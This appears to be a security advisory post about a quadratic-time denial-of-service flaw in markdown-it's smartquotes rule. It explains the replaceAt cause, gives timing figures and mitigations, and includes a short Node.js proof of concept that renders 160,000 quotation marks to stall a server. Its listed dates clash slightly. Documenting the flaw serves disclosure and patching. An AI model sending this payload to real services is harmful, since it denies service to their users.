Listen to this Post
The vulnerability stems from a quadratic time complexity issue in the `smartquotes` rule, which is enabled when the `typographer: true` option is set. The core issue lies in the `replaceAt` helper function (from lib/rules_core/smartquotes.mjs):
function replaceAt (str, index, ch) {
return str.slice(0, index) + ch + str.slice(index + 1);
}
When markdown-it processes a text token containing a large number of consecutive quotation marks (" or '), the `smartquotes` rule iterates over each quote character and calls `replaceAt` to replace it with a typographic (curly) quote. Each `replaceAt` call creates three new string slices and concatenates them, which is an O(n) operation where `n` is the total length of the string. Because this operation is performed once for every quote character, the total time complexity becomes O(n²).
Specifically, the `process_inlines` function (line 14) processes each quote in the text token, and for matching quote pairs, it calls `replaceAt` on both the opening and closing token’s content (lines 151–152). When the entire input is a single text token of quote characters, this behavior leads to quadratic performance degradation.
For example, processing 160,000 double‑quote characters takes about 21 seconds on a modern system, whereas the same input with `typographer: false` completes in ~8ms. The following times were measured:
– 10,000 quotes → ~19ms
– 20,000 quotes → ~51ms
– 40,000 quotes → ~212ms
– 80,000 quotes → ~5,430ms
– 160,000 quotes → ~21,198ms
The scaling is superlinear (quadratic), as a 2× increase in input size (80K → 160K) yields a ~3.9× increase in processing time.
DailyCVE Form:
Platform: `markdown-it`
Version: `<=14.1.1`
Vulnerability: `Denial of Service`
Severity: `Medium`
Date: `2026-06-15`
Prediction: `2026-05-24 (14.2.0)`
What Undercode Say:
Proof-of-Concept (Node.js)
const md = require('markdown-it');
const instance = md({ typographer: true });
const payload = '"'.repeat(160000);
console.time('render');
instance.render(payload);
console.timeEnd('render');
Output: render: ~21000ms
Safe execution (typographer disabled)
const safe = md({ typographer: false });
console.time('render-safe');
safe.render(payload);
console.timeEnd('render-safe');
Output: render-safe: ~8ms
How Exploit:
An attacker supplies a markdown document containing a single text block with 80,000 to 160,000 consecutive quotation marks. When rendered by a markdown-it instance with typographer: true, the server spends multiple seconds (or even minutes) processing the request, leading to CPU exhaustion and denial of service for legitimate users.
Protection:
- Upgrade to markdown-it 14.2.0 or later.
- If upgrading is not immediately possible, disable the `typographer` option (
typographer: false), which is the default setting. - Implement request‑rate limiting or input size validation to reject abnormally large payloads (e.g., >50KB of quote characters).
Impact:
Applications that render user‑supplied markdown with `typographer: true` are vulnerable. A small payload (∼160KB) can cause 21+ seconds of CPU consumption, and multiple such requests can easily exhaust server resources, making the service unavailable. While the `typographer` option is disabled by default, it is commonly enabled in production systems that require smart typography, as recommended by the official documentation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

